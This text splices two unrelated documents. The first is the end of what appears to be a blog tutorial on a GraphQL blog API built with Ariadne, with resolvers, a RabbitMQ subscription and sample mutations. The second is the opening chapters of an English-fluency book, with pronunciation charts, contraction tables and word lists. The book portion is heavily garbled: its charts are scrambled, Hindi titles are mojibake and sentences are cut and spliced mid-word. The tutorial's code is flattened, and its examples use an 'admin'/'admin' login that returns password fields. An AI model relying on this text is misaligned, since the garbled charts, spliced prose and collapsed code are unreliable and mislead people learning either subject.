resolve_create_blog, we create a dictionary that stores the attributes of the blog. We append it to the blogs list and return the created blog. If successful, we set success to True and return success and the created blog object. If there was an error, we set success to False and return success and the error blog.
We now have our two resolvers, so we can point Ariadne to them. Make the following changes to app.py:
At the top of the file, import the mutations:
from mutations import mutation
Then add mutation to the list of arguments passed to
make_executable_schema:
schema = make_executable_schema(type_defs, query, mutation)
Defining the queries
Now we are ready to implement the two queries of our API. Let’s start with the blogs query. Create a new file, queries.py and update it as follows:
- Create
get_blogsresolver.
# as you know here i use Database[PostgreSQL] to connect to the database # Install psycopg2 & databases[postgresql] & asyncpg async def get_blogs( skip: Optional[int] = 0, limit: Optional[int] = 100 ) -> Optional[Dict]: query = blog.select(offset=skip, limit=limit) result = await database.fetch_all(query=query) return [dict(blog) for blog in result] if result else None async def get_blog(blog_id: int) -> Optional[Dict]: query = blog.select().where(blog.c.id == int(blog_id)) result = await database.fetch_one(query=query) return dict(result) if result else None
- then we could use it in our schema:
from typing import Optional from ariadne import QueryType, convert_kwargs_to_snake_case from crud import get_blogs, get_blog # Create a file called crud.py and add the get_blogs function from schemas.error import MyGraphQLError @convert_kwargs_to_snake_case async def resolve_blogs(obj, info, skip: Optional[int] = 0, limit: Optional[int] = 100): blogs = await get_blogs(skip=skip, limit=limit) return {"blogs": blogs} @convert_kwargs_to_snake_case async def resolve_blog(obj, info, blog_id): blog = await get_blog(blog_id=blog_id) if not blog: raise MyGraphQLError(code=404, message=f"blog id {blog_id} not found") return {"success": True, "blog": blog} query = QueryType() query.set_field("blogs", resolve_blogs) query.set_field("blog", resolve_blog)
Subscribing to new blogs
New blogs are now being added to subscription queues, but we do not have any queues yet. All that is remaining is implementing our GraphQL subscription to create a queue and add it to the queues list, read blogs from it and push the appropriate ones to the GraphQL client.
In Ariadne, we need to declare two functions for every subscription defined in the schema.
Subscription source
Create a new file, subscriptions.py and define our subscription source in it as follows:
from ariadne import SubscriptionType, convert_kwargs_to_snake_case from graphql.type import GraphQLResolveInfo subscription = SubscriptionType() @convert_kwargs_to_snake_case @subscription.field("reviewblog") async def review_blog_resolver(review_blog, info: GraphQLResolveInfo, token: str): return {"id": review_blog}
Note: create a dynamic Source Review for Blog, by using RabbitMQ.
Rabbit MQ is a messaging broker that allows you to publish and subscribe to messages.
# This is Example from My Project FastQL @convert_kwargs_to_snake_case @subscription.source("reviewblog") async def review_blog_source(obj, info: GraphQLResolveInfo, token: str): user = await security.get_current_user_by_auth_header(token) if not user: raise MyGraphQLError(code=401, message="User not authenticated") while True: blog_id = await rabbit.consumeblog() if blog_id: yield blog_id else: return
All the hard work is done! Now comes the easy part; seeing the API in action. Open the GraphQL Playground by visiting.
Let’s begin by creating two users,
user_one and
user_two. Paste the following mutation and hit play.
mutation { createUser( email:"admin@graphql.com" password:"admin" ) { success user { userId email password } } }
Once the first user is created, change the username in the mutation from
user_one to
user_two and hit play again to create the second user.
Now we have two users who can Blog. Our
createBlog mutation expects us to provide
senderId and
recipientId. If you looked at the responses from the
createUser mutations you already know what IDs were assigned to them, but let’s assume we only know the usernames, so we will use the
userId query to retrieve the IDs.
query { userId( // User One email: "admin@graphql.com" password: "admin" ) }
- Publish your blog to the second user by using the
createBlogmutation.
mutation { createBlog( senderId: "1", recipientId: "2", title:"Blog number1" description:"This is the first blog" ownerId: "1" ) { success blog { title description ownerId recipientId senderId } } }
Conclusion
Congratulations for completing. We learnt about ASGI, how to add subscriptions to a GraphQL server built with Ariadne, and using
asyncio.Queue.
If you got any questions, please feel free to ask them in the comments.
This was just a simple API to demonstrate how we can use subscriptions to add real time functionality to a GraphQL API. The API could be improved by adding a database, user authentication, allowing users to attach files in Blog, allowing users to delete Blog and adding user profiles.
If you are wondering how you can incorporate a database to an async API, here are two options:
I can't wait to see what you build!
You could also get inspiration from this Project FastQL.
To be honest, this got quite long. If you are patient enough to read this full and find it interesting then please share it, and Follow me on twitter for the next articles.
Discussion (0)
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This action might not be possible to undo. Are you sure you want to continue?
By : Dr. Mahendra Saraswat
UPKAR PRAKASHAN, AGRA-2
By the Same Author * lœ`¥rk ds` vnΩHqr jgL; * bE^wo ;ksj ekbUM ikoj * ^sj.kæfDr ds` peRd`kj * nΩ xVΩl * beksæu¥ gSYFk * n ikoj vkWœ` eksfVosæu
* Create Super Intelligence * The World of Inspiring Quotations * The World of Idioms And Phrases * The World of Synonyms And Antonyms * The World of Proverbs
© Publishers & Author
• • •
This book or any part thereof may not be reproduced in any form by Photographic, Mechanical, or any other method, for any use, without written permission from the Publishers. The publishers have taken all possible precautions in publishing the book, yet if any mistake has crept in, the publishers shall not be responsible for the same. Only Agra shall be the jurisdiction for any legal dispute.
Price : Rs. 70·00 (Rs. Seventy Only)
Code No. 456
Printed at : UPKAR PRAKASHAN (Printing Unit) Bye-pass, AGRA
Contents
Sl.No. Page No.
01. Acquire the Power of Pronunciation Skill 02. Let Yourself Grasp the Pompous Shortened Forms 03. Bank Upon the Proficient Vocabulary 04. Train Your Tongue 05. Befriend with Speech Fluency Techniques 06. Let Down Your Fluency Obstacles 07. Divide and Rule Your Speech 08. Realize the Beauty of Pauses 09. Speak in Rhythmic Fluency 10. Control Your Speech Delivery 11. Tag Your Speech with Short Responses 12. Secret of Successful Spontaneous Speech 13. Beautify Your Speech with Drops 14. The Final Touch
2–11 12–19 20–45 46–61 62–76 77–91 92–96 97–112 113–123 124–136 137–157 158–182 183–191 192–234
Realize the Power of Speech Fluency
English, the powerful International language, still rules the major minds of cosmopolitan Indians. Everywhere, whether it’s an institution or an industry, people who speak English better are treated above par than those who are not able to speak it fluently. And fluency of speech gives a magnetic character to its speaker and it influences positively the person to whom you speak. Though you read English better, write English better and even you are able to manage to speak English, yet sometimes, you feel that your English utterance doesn’t leave any impression on your counterpart. It means that your vast knowledge of English isn’t helping you to get the required results and it lacks something. And your adequate knowledge of reading and writing English is facing the difficulty to move, that can put you in dilemma when you have to see a daemonic dignitary, you have to face an implex interview, and you have to represent a vivid view, then you find that your treasure of English doesn’t wish to assist you. This is the meek point where you are compelled to think why your English speech is so lame. This is high time to realize the power of speech fluency. In absence of speech fluency, English utterance looks like mockery. It is the speech fluency that bestow the gift of successful attempts. It makes you successful in your presentation or discourse. It makes you successful in your interview for an important assignment. And at the helm, it brightens up your career. Fluency is the soul of any language, so of English. Fluency transforms your personality as a charismatic and magnetic one. Fluency is the great booster of your self-confidence. It is the speech fluency that places you as an important person in others’ views. They judge you by your fluency of speech than by your treasure of qualifications. Even speech fluency is so potent that it can establish you prominently in your society, in your
( vii )
profession, and in your enterprise. Fluency gives an extra edge to your charming personality. During an interview session for Maths Teacher, merely a second class PCM graduate was selected, while the first class post-graduate with 92·7% marks was rejected. Do you know the reason behind the successful selection ? It was the Fluency of Speech. That was the prompt that drove me to inscribe some hints and tips to young fellows striving hard for English speech fluency. And the result is in your hands. Believe that you are born to achieve high degree of speech fluency. The only requirement is that you go through each page of this book carefully, attentively, religiously and patiently, and follow every command honestly. And you’ll find that your ENGLISH SPEECH is getting golden wings of FLUENCY with ease. With all my best wishes,
—Dr. Mahendra Saraswat
Speak English Fluently
1
Acquire the Power of Pronunciation Skill
Do you know which tongue is mostly understood by the world ? Yes, you are correct. It is English. Though we have fourteen languages officially recognised in the Indian Constitution, English still enjoys the privilege of high goodwill in this continent. It is the only language that is spoken far and wide in India and accepted as a universal ambassador in every nook and corner not only here but throughout the world. It’s a matter of pleasure that English can be found on language menu in every part of the country, and proudly boasts of an important curricular subject. Most of Indians study English since their childhood and are able to read, write and speak. In spite of that there is something wrong that debars so many people to manage properly the spoken part of English. This misdemeanour has a definite reason and the reason is that We’ve Learnt English in an Erroneous Way Every language has two major aspects, i.e., the Spoken part, and the Written part. Now you recall, when you appeared in the world, what did you do first––Speaking or Writing. Yes, it was speech. You had spoken first. You spoke your unknown language, and you kept yourself in speech. It was the writing that came after about 500 days. Certainly, it was the spoken part of language which came first and then the written part. This is the root cause that creates difficulties to speak English fluently and properly. Because we fail to adopt the natural way of speech. What do we do generally ? We try to speak in written way of English. While the natural way of learning is to speak first, then write. Have you ever thought why you are most competent to speak your mother tongue fluently ? Because you
S. E. F.
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3
learnt that to speak first and you also succeeded to manage efficiently the written part of your mother tongue. What we have done in the case of English ? We have learnt to write English first in our homes, in our schools, and in our tutorials. That’s why we always endeavour to speak in the written style. So we fail to succeed in gaining the speech fluency in English. It is the spoken part of language that comes first, and the written part of language comes later on. And this is the only natural way to gain speech fluency. Speak in Natural Way Natural way of speech is the prime requirement for development of fluency. What is the natural way of speech ? Just imagine that you are a little kid now. If you need anything from your mummy, what would you say ? You would ask : “giveittome”. Would you think to learn these words ‘give’, ‘it’, ‘to’ and ‘me’ separately and connect them. These separate four words ‘give’, ‘it’, ‘to’ and ‘me’ would be the same as the single word ‘giveittome’ for you.
Things to Remember
1. The characteristics of following consonants : G always remains silent if followed by ‘N’. For example, Gnat (nat), Gnaw (no), Gnocchi (noke), Gnosis (nosis) etc. K always remains silent if followed by ‘N’. For example, Knack (nak), Knight (nit), Know (no), Knuckle (nukl) etc. P always remains silent if followed by ‘S’ or ‘T’. For example, Psalm (sam), Psycho (siko), Ptomaine (tomain), ptosis (tosis) etc. Q always followed by ‘U’ (except Q–boat, the war-ship also used as merchantship), and gives the sound of k w . For example, Quality (kwoliti), Quantum (kwont m) , Queen (kwen), Quote (kwot) etc. W followed by ‘r’ loses its sound. For example, Wrangler (ranglr), Wreath (reth), Wring (ring), write (rit) etc.
2.
3.
4.
5.
e. Understand the English Alphabet Properly
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7ations like ‘ ’ or ‘ : ’. ‘ ’ is a semi–vowel sound frequently used in English. This semi-vowel sounds like a semi–‘a’ or a semi–‘e’ or a semi–‘o’ sound. To know how ‘ ’ sounds like, clench your teeth, stretch the lips sideways towards the cheek, but don’t round your lips. And say ‘a’. You have not to say letter ‘a’, but sound ‘a’. This sound comes from your throat. It is the sound of semi-vowel ‘ ’. It is a very short sound. ‘ : ’ is the long form of ‘ ’, but its length is also very short in comparison to length of other vowels. Now let’s forward towards the pronunciation chart. PRONUNCIATION CHART Alphabet Examples Pronunciations e e e e e e e
Vowels bat, glad, has, sad a a air, raid, same, tame a e e i i o o glass, psalm heart,
bat, glad, haz, sad ar, rad, sam, tam
mass, glas, hart, mas, sam den, eld, mend, red bizi, chin, him, tin mit, sid, shi, rit kot, lot, mop, shop do, lo, to, ton
den, eld, mend, red busy, chin, hymn, tin might, side, shy, write cot, lot, mop, shop dough, low, toe, tone
chief, clean, seize, team chef, klen, sez, tem
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S. E. F. Examples Pronunciations
Alphabet o u u
brought, caught, fall, brot, kot, fol, lon lawn cup, flood, love, rub dew, huge, news, view kup, flud, luv, rub du, huj, nuz, vu
u bury, fern, learn, world buri, furn, lurn, wurld Diphthongs oo oo oi ow cool, moon, who, zoo kool, moon, hoo, zoo could, good, took, wood kood, good, t o o k , wood boil, buoy, foil, toy boil, boi, foil, toi
brown, down, fount, brown, down, fownt, sound sownd Consonants b c ch d dh f g gh gz h (h)w box, bun, rob, tub see box Dutch, fetch, match, duch, fech, m a c h , such such den, do, duck, lad den, doo, duk, lad e e e radh r, mother, rather, the, then mudh r , dh , dhen fair, laugh, roof, tough see box Ghana, ghat, ghee, ghost ghana, ghat, ghe, ghost exact, exalt, examine, igzakt, igzolt, igzamin, example igzampl havoc, hill, hymn, oho hav k , hil, him, oho whale, wheel, wheen, whal, whel, when, which which e far, laf, roof, tuf boks, bun, rob, tub
S. E. F. Alphabet j k ks kw l m n ng p r s sh t th v w y z zh Examples
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Pronunciations
gentle, gym, jump, ledge jentl, jim, jump, lej calf, cap, king, kiss fax, ksar, Lux, tax kaf, kap, king, kis faks, ksar, luks, taks
quality, queen, quiet, kwaliti, kwen, kwit, quip kwip lad, luck, milk, tall dome, mill, ram, tame man, nil, note, ten lad, luk, milk, tol dom, mil, ram, tam man, nil, not, ten
long, ring, song, tongue long, ring, song, tung lips, nip, park, pen rib, rice, risk, wrought lips, nip, park, pen rib, ric, risk, rot
mass, psalm, scene, sip mas, sam, sen, sip rush, ship, shoe, shy date, fit, task, tips rush, ship, shoo, shi dat, fit, task, tips
hath, path, think, thumb hath, path, think, thumb scurvy, valet, value, skurvi, valit, valu, vesta vesta one, swing, watch, were wun, swing, woch, wur bastion, higher, yak, basy n hiy r , yak, yot yatch lodge, Ozone, was, zone loz, ozon, woz, zon e e azure, lesion, measure, azhur, lezh n, mezh r, zho zho e e
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S. E. F. Be Acquaint to the Power of ‘C’ & ‘G’
Barring exceptions, “C” and “G” have distinctive edge over other Consonants and possess the property of two different sounds. When “C” and “G” are followed by a, o, u, l or r, these consonants enjoy the sounds of ‘K’ and ‘G’ respectively. For example C→ Cat (kat), Cot (k.. Cup (kup), Class ot), (klas) and Crane (kran); and G→ Gas (gas), Goat (got), Gum (gum), Glaze (glaz) and Grass (gras). On the other hand, if “C” and “G” are followed by e, i or y, these consonants produce the sounds of ‘S’ and ‘J’ respectively. For example C→ Cess (ses), Cigar (sigar) and Cycle (sikl); and G→ Gem (jem), Gin (jin) and Gym (jim).
Manage for the Necessary Tool When you start any execution or operation, what do you do ? Yes, you make some arrangements for necessary implements or tools. So here is also the need to manage for the required tool to get fluency in English. It will prove a good help to achieve your desired aim. And this tool is a good ‘English to English’ or ‘English to Hindi’ or your language Dictionary. You need it at every stage to have a clear idea about any new word, its meaning and its pronunciation. A dictionary is a right source of various kinds of information related to words. In this book, I have used some notations like a, a, e, — etc. These are the recognised notations of English oo, language as suggested in Chambers 20th Century Dictionary published by Allied Publishers Pvt. Ltd., New Delhi. This is one of the best Dictionaries available. You can make good use of it too.
S. E. F.
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Chapter in Nutshell
•
Always remember that the practice material should be read ALOUD and that too again and again to train your Tongue, your Lips, your Throat and other organs of speech. It is the Spoken language that comes first, and Written language only afterwards. The Spoken part of language is not the same as the Written part. Don’t try to speak in written style of language.. You are not required to consciously stop to think about how to string the words together. Speak out spontaneously.
• • •
• expresses extraordinary I am I have I had/I would I shall/I will We are We have We had/We would We shall/We will You are You have You had/You would You will They are They have They will He is/He has He had/He would He will She is/She has She had/She would Shortened Form I’m I’ve I’d I’ll We’re We’ve We’d We’ll You’re You’ve You’d You’ll They’re They’ve They’ll He’s He’d He’ll She’s She’d Pronunciatio n a’im a’iv a’id a’il ve’ea(r)* ve’ev ve’ed ve’el yooa’(r)* yoov yood yool the’a(r)* the’iv the’id the’il heez heed heel sheez sheed
They had/ They would They’d
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S. E. F. Shortened Form She’ll It’s It’d It’ll That’s That’re That’ve That’d That’ll Here’s Here’re There’s There’re Pronunciatio n sheel its itd itl thats that a(r)* thatv thatd thatl he z hea(r)* th z th r a(r)* th v th d th l hauz haua (r)* hau v hau d haul hooz hooa (r)* hood hoov hool e e e e e e e e
Long Form She will It is/It has It had/It would It will That is/That has That are That have That had/That would That will Here is Here are There is/There has There are
There have There’ve T h e r e h a d / T h e r e There’d would There will How is/How has How are How have How will Who is/Who has Who are Who had/Who would Who have Who will There’ll How’s How’re How’ve How’ll Who’s Who’re Who’d Who’ve Who’ll
How had/How would How’d
S. E. F. Long Form What is/What has What are What have What will When is/When has When are When have Short Form What’s What’re What’ve What’ll When’s When’re When’ve
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Pronunciatio n vatz vata(r)* vat v vat d vat l ven z vena (r)* ven v ven d ven l vhe z v h ra(r)* vh v vh d vh l ju–u (or d’yu) shal v vil v shud v vud v kan v kud v mei v mit v aut v e e e e e e e e e e e e e e e e e e e e e
What had/What would What’d
When had / When When’d would When will Where is/Where has Where are Where have When’ll Where’s Where’re Where’ve
Where had / Where Where’d would Where will Do you Shall have Will have Should have Would have Can have Could have May have Might have Ought to have Where’ll D’you Shall’ve Will’ve Should’ve Would’ve Can’ve Could’ve May’ve Might’ve —
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S. E. F. Must’ve Short Form Isn’t Aren’t Wasn’t Weren’t Doesn’t Do’nt Did’nt Hasn’t Havn’t Hadn’t Won’t Wouldn’t Shalln’t Shouldn’t Can’t Couldn’t Musn’t Needn’t Mightn’t Oughtn’t mus v Pronunciatio n (i)zn(t)* aun(t)* vazn(t)* w : n(t)* duzn(t)* don(t)* didn(t)* hazn(t)* havn(t)* hadn(t)* won(t)* vudn(t)* shan(t)* shudn(t)* kan(t)* kudn(t)* musn(t)* needn(t)* mitn(t)* autn(t)* e e
Must have Long Form Is not Are not Was not Were not Does not Do not Did not Has not Have not Had not Will not Would not Shall not Should not Can not Could not Must not Need not Might not Oughtcontained idea-units. Read each idea-unit as a single word. For example, utter “I am afraid of cockroaches”, as if the word–group is a single word “Iamafraidofcockro
not’ as ‘Hazn’t’ as well as ‘Hazn’. Similarly, ‘They are’ can be pronounced as ‘Thear’ or ‘Thea’ and so on.
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S. E. F.
wouldn’t tease the kids. He doesn’t have any book. He didn’t say it. He couldn’t appear for test. He will’ve finished his task. He ought to have a pen. He wasn’t there. He didn’t play well. He hasn’t finished his work. She’s a good girl. She isn’t a good player. She’s a beautiful woman. She hasn’t any good book. She’d sung a sweet song. She hadn’t any good dress. She’ll dance in a group. She won’t sing any song. She’d give thanks to them. She wouldn’t receive them. She could’ve done it. She doesn’t like ice-cream. She wasn’t in the room. She hasn’t broken it. It’s me. It isn’t me. It isn’t good. It isn’t mine. It’s a coin. It hasn’t any coin. It’d interesting poems. It hadn’t good pictures. It’ll be better. It won’t be nice. It’d be good to listen them. It wouldn’t be better to leave it. We’re too tired. We aren’t lazy. We’ve our books with us. We haven’t money at all. We’d lost our box. We hadn’t run on the grass. We’ll drink chilled water. We won’t go to the movie. We’d like to swim in the pool. We wouldn’t like to see movie. We weren’t playing. We don’t like it. We haven’t gone there. We shall’ve written the letters. We weren’t present there. We haven’t received cheques. They’re very crazy. They aren’t foolish. They’ve their note books. They haven’t their luggages. They’d a little car. They hadn’t match boxes. They’ll slip in the mud. They won’t climb on the tree. They’d write a letter. They wouldn’t read their books. They aren’t there. They mightn’t to fight. They would’ve returned till 12. They might’ve given it. They aren’t painter. That’s good. That isn’t good. That’re beautiful. That aren’t interesting. That’s sense. That hasn’t any meaning. That’ve nothing to say. That haven’t any common sense. That’d some logic. That hadn’t any logic. That’ll prove a good bet. That won’t be a fair deal. That’d do some magic. That wouldn’t be useful. Here’s your money bag. Here isn’t your book. Here’re some good novels. Here aren’t good flowers. Here isn’t any plant. There’s a nice park. There’re so many pots. There aren’t many people. There’s been a film show. There hasn’t been any club. There’ve been a film show.
S. E. F.
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19
There’ve been many plays. There haven’t been a large crowd. There’ll be an essay competition. There won’t be any puppet show. There’d be my singing. There wouldn’t be my play. How’s your mother ? How’re your brothers ? How’s she slipped on floor ? How’ve they reached there ? How’d he attend the party ? How’ll you send the money ? What’s your name ? What’re your qualifications ? What’s driven you here ? What’ve you missed in the park ? What’d she lost ? What’ll be there ? What’ll happen after it ? What’d be the price of that ? What d’you do ? Where’s my watch ? Where’re your books ? Where’s she gone ? Where’ve they played ? Where’ll you be ? Where’d be the next show ? Who’s incharge here ? Who’re the players ? Who’s broken it ? Who’ve won the match ? Who’ll bat first ? Who’d be the captain ? When’s the next train ? When’re her sisters coming ? When’s the course finished ? When’ve the ministers visited ? When’ll you come ? When’d she appear for the interview ? Needn’t to go.
Chapter in Nutshell
• •
To avoid the Fear of Grammatical Mistakes, don’t try to use the Long Forms of starters at this stage.meanings segregated, – ore, ought, our, ours, out, owe (o), owl, own, ox.syllsyllabic words with a special effect.* Since poly-syllabic words contain both stressed and unstressed syllable, hence note down the following points while say these syllables :
*
About the pronunciation with a special effect, please refer to chapter 9.
(i) The stressed syllable needs extra effort or force to say it in comparison to unstressed syllable. (ii) The stressed syllable should be said more loudly than unstressed syllable. (iii) The stressed syllable should be pronounced more clearly than the unstressed syllable. (iv) The stressed syllable should be said more slowly while the unstressed syllable should be spoken fastly. The given list of poly-syllabic words contains almost words those are required for effective day-to-day conversation and general use. Proper acquaintance with these words is definitely capable to give you your desired fluency of speech. Now, go to the list very attentively and say each and every word with stress where–ever it is needed. Frequently Used Poly-syllabic Words ‘A’ aback, ability, able, about, above, abroad, absence, absent, absolute, absorb, abuse, accelerate, accent, accept, accident, accommodation, accommodate, accompany, accomplish, according, account, accountant, accurate, accuse, accustom, achieve, achievement, acknowledge, acquaint, acquaintance, accquire, across, action, active, activity, actual, addition, adequate, adjust, administration, admiration, admire, admit, adopt, adult, advance, advantage, adventure, advertise, advice, advise, affair, affect, affection, afford, afraid, after, afterwards, again, against, agency, ago, agree, agreement, ahead, aimless, alarm, alcohol, alike, alive, allow, almost, alone, along, already, alter, although, altogether, always, amaze, ambition, among, amuse, analyse, analysis, anchor, ancient, angle, ankle, anniversary, announce, annoy, annual, another, anxiety, anxious, any, anybody, anyhow, anyone, anything, anyway, anywhere, apart, apologize, apology, apparently, appeal, appear, appetite, applause, applicant, apply, appoint, appreciate, approach, approve, approximate, argue, argument, arise, around, arrange, arrest, arrive,
arrow, article, artificial, ashamed, ashore, aside, asleep, assemble, assist, association, assume, assure, astonish, atmosphere, atrocious, attach, attack, attain, attempt, attend, attitude, attract, attraction, audible, audience, author, authority, automatic, autumn, available, average, avoid, awake, award, aware, away, awful, awkward, axis. ‘B’ backbone, background, backward, badly, baggage, balance, balcony, balloon, bandage, barber, bargain, barrel, basement, basic, basin, basis, basket, battle, beautiful, beckon, become, bedclothes, bedroom, bedside, before, beggar, begin, behaviour, behind, being, belief, believe, belly, belong, beloved, below, benefit, beside, better, between, beyond, bitter, blackmail, blacksmith, bladder, blanket, blessing, bloody, blossom, blunder, boldness, bombing, bony, border, boring, borrow, bother, bottom, boundary, bravery, breakdown, bridegroom, briefcase, brighten, broadcast, broaden, bubble, bucket, bulky, bullet, bully, bumper, bundle, burden, burglar, burial, bury, busy, butcher, buttonhole, bygone, bypass, bystander, byte. ‘C’ cabinet, cable, cafe, calculate, calender, campaign, canal, cancel, cannon, canvas, capable, capacity, capture, carbon, career, careful, careless, carpenter, carpet, carriage, carry, carton, cartoon, castle, casual, catalogue, cattle, cautious, ceiling, celebrate, celler, cemetery, central, centre, century, ceremony, certainly, certify, challenge, champion, channel, character, chatter, chauffeur, (shof r), cheerful, cherish, chicken, childhood, childish, chimney, chubby, cigar, circle, circulate, circuit, circumstance, civilize, clarify, classi-fication, classify, clearing, clever, climate, climax, clockwork, clothing, cloudy, clumsy, cluster, collect, colleague, column, combination, combine, comedy, comely, comfort, command, comment, commentary, commercial, commit, common, commonplace, commonsense, commotion, communicate, community, companion, company, comparative, compare, e
compel, compete, competition, complaint, complete, complex, complexion, complicate, comply, compose, compound, comprehend, comprehension, comprise, compulsory, comrade, conceal, concede, concession, conceit, conceive, concentrate, concept, concern, concise, conclude, conclusion, concrete, condemn, condition, condole, conduct (n), conduct (v), confer, conference, confess, confide, confidence, confidential, confine, confirm, conflict (n), conflict (v), confuse, congested, congratulate, conjure, connect, conquer, conscience, conscious, consent, consequence, consequently, conservative, consider, considerable, considerate, consideration, consist, conspire, conspiracy, constant, construct, consult, consume, consumer, contact, contain, contemplate, contempt, content (n), content (v), contest (n), contest (v), context, continue, contract (n), contract (v), contradict, contrary, contrast (n), contrast (v), contribute, control, convenience, convenient, convention, conversation, convey, conveyance, convict (n), convict (v), convince, conviction, cooperate, cordial, corner, correspondence, corridor, corrupt, costly, cottage, counter, couple, courage, courageous, courtesy, cousin, coward, cracker, cradle, crafty, crazy, create, creatures, credit, criminal, cripple, crisis, critical, crockery, crossroads, cruel, cruelty, cultivate, cultural, culture, cumbersome, cunning, cupboard, curious, curiosity, current, curtain, cushion, custom, cutlery. ‘D’ dacoit, dairy, damage, dancer, danger, dangerous, darken, darkness, darling, daughter, daytime, dazzle, deafen, debate, decay, deceive, decent, decide, decision, declaration, declare, decline, decorate, decrease, dedicate, deeper, deeply, defeat, defence, defend, define, definite, definition, defy, degree, delay, deliberate, delicate, delicious, delight, delighted, deliver, delivery, demand, democratic, demolish, demonstrate, dentist, deny, depart, departure, depend, dependence, deplore, depress, deputy, derive, descend, descent,
describe, description, desert (n), desert (v), deserve, design, desire, despair, desperate, despise, despite, destination, destiny, destroy, destruction, detail, detect, detective, determine, detest, develop, device, devil, devote, dial, dialogue, diamond, diary, dictate, differ, difference, difficult, digest, dignity, direct, disadvantage, disagree, disappear, disappoint, disapprove, disaster, discharge, discipline, disclose, discomfort, discontended, discount (n), discount (v), discourage, discover, discreet, discriminate, discuss, disease, disgrace, disguise, disgust, dishonest, dislike, dismiss, disobey, disorder, display, displease, dispose, dispute, dissatisfy, dissolve, distance, distinct, distinguish, distort, distress, distribute, disturb, divide, division, divorse, document, domestic, dominate, door-step, doorway, double, doubtful, doubtless, downstairs, downward, dozen, dragon, dreadful, dressing, driver, drunkard, dryness, dullness, dungeon, during, dusty, duty, dutiful, dynamic. ‘E’ eager, eagle, early, earnest, earnings, earthquake, easily, eastern, eastward, echo, economy, economic, edit, effect, efficient, effort, either, elastic, elbow, elder, eldest, elect, element, elsewhere, embarass, embody, embrace, emerge, emergency, emotion, emphasis, empire, employ, empty, enable, enclose, encounter, encourage, ending, endless, endure, endurance, enemy, energetic, energy, engage, enjoy, enlarge, enormous, enough, ensure, enter, enterprise, entertain, enthusiasm, entire, entitle, entrance, entreat, entry, environment, envy, equal, equip, erect, error, escape, especially, essence, essential, establish, estate, estimate, eternal, evaluate, even, event, eventually, ever, everlasting, every, evidence, evil, exact (igzact), exaggerate (igzaj rat), examine (igzamin), example (igzampl), excellent, except (iksept), exception (iksepshun), excess (ikses), exchange, excite (iksit), excitement (iksitment), exciting (iksiting), exclaim (iksklam), exclude (iksklood), exclusive (ikskloosiv), e
excursion (ikskurshon), excuse (ikskuz), execute, exercise, exhaust (igzost), exhaustive (igzostiv), exhibit (igzibit), exist (igzist), existence (igzistans), expand (ikspand), expansion (ikspansh n), expect (ikspekt), expense (ikspens), expenditure (ikspendichur), expensive (ikspensiv), experience (iksperiens), experiment (iksperiment), expert, explain (iksplan), explode (iksplod), exploite (iksploit), exploration, explore (iksplor), explosion (iksplozh n), explosive (iksplosiv), export (iksport) (n), export (v), express (ikspres), expression (ikspresh n), exquisite, extend (ikstend), extension (ikstensh n), extent (ikstent), external (iksternal), extinguish (ikstinguish), extra, extract (ikstrakt), extraordinary (ikstordinari), extreme (ikstrem), extremely (ikstremli), eyebrow, eyelid, eyesight, eyewitness. ‘F’ fable, failure, fairly, faithful, familiar, famous, fancy, fantastic, farmer, farther, fascinate, fashion, fasten, fatal, faultless, faulty, favour, fearful, fearless, feather, feature, feeble, fellow, female, ferocious, ferry, fertile, festival, fiction, fighter, figure, filling, filter, filthy, final, financial, finely, finish, firmness, fitness, flatten, flatter, flavour, flexible, flicker, flourish, fluent, flutter, foggy, follow, follower, folly, fondly, foolish, footstep, forbid, forecast, forefinger, forehead, foreign, foresee, forest, forget, forgive, formal, former, formula, fortnight, fortunate, fortune, forward, founder, fountain, fraction, fracture, framework, freely, freedom, frenetic, frenzy, frequent, freshen, friction, friendship, frighten, frightful, frontier, fruitful, fugitive, fully, function, funeral, funny, furious, furnish, further, fury, futile. ‘G’ gabble, gaiety, gaily, gain, galaxy, gallant, gallery, gamble, garage, garbage, garden, garment, gateway, gather, general, generate, generous, genius, gentle, gently, genuine, gesture (jesch r), ghastly, gigantic, giggle, glasses, glimmer, glory, goddess, golden, gospel, gossip, govern, graceful, gracious, gradual, graduate, e e e e e
grammar, grandchild, grateful, gratitude, greatly, greatness, greedy, greetings, grievous, groccer, gruesome, grumble, guarantee, guilty, gunny, gunpowder, gutter, gymnasium (jimnazi m). habitat, habitual, haircut, hammer, handful, handkerchief, handsome, handy, happen, harbour, harden, hardly, harmony, harshly, harvest, hasten, hateful, hatred, haughty, hazard, headache, healthy, hearty, heaven, heavy, heighten, hereditary, heritage, hero, heroic, herself, hesitate, highway, hillside, hilly, himself, hinder, history, hobby, holder, holiday, hollow, holy, honest, honestly, honey, honeymoon, honour, horizon, horrible, horror, hospitable, hostage, hostess, hostel, hostile, hotel, however, huddle, human, humanity, humble, humour, hunger, hunter, hurrah, hurricane, hustle, hybrid. ‘I’ ideal, identity, idle, ignorant, ignore, illegal, illtreat, illiterate, illustrate, image, imagination, imagine, imitate, immediate, immense, immoral, immortal, impact, impart, impartial, impatience, impatient, imperfect, impersonal, implore, imply, impolite, import (n), import (v), importance, impossible, impress, impression, imprison, improbable, improper, improve, inborn, incapable, incident, inclination, incline, include, incomparable, incompetent, incomplete, incomprehensive, inconceivable, incorrect, increase (n), incredible, indecent, indeed, independence, index, indicate, indication, indifferent, indirect, indispensable, individual, indoor, induce, industrious, industry, ineffective, inefficient, inevitable, infect, infections, inferior, inflame, inflict, influence, inform, ingenious, ingenuity, inhabit, inhabitant, inherit, initial, inject, injurious, injury, injustice, innate, inner, innocent, innumerable, inquire, inquiry, insect, insert, inside, insight, insignificant, insincere, insist, insolvent, inspection, inspiration, inspire, install, instance, instant, instead, institute, instruct, insult, insurance, insure, intake, intellect, intelligence, intend, intense, intention, interest, interfere, interior, intermediate, internal, e ‘H’
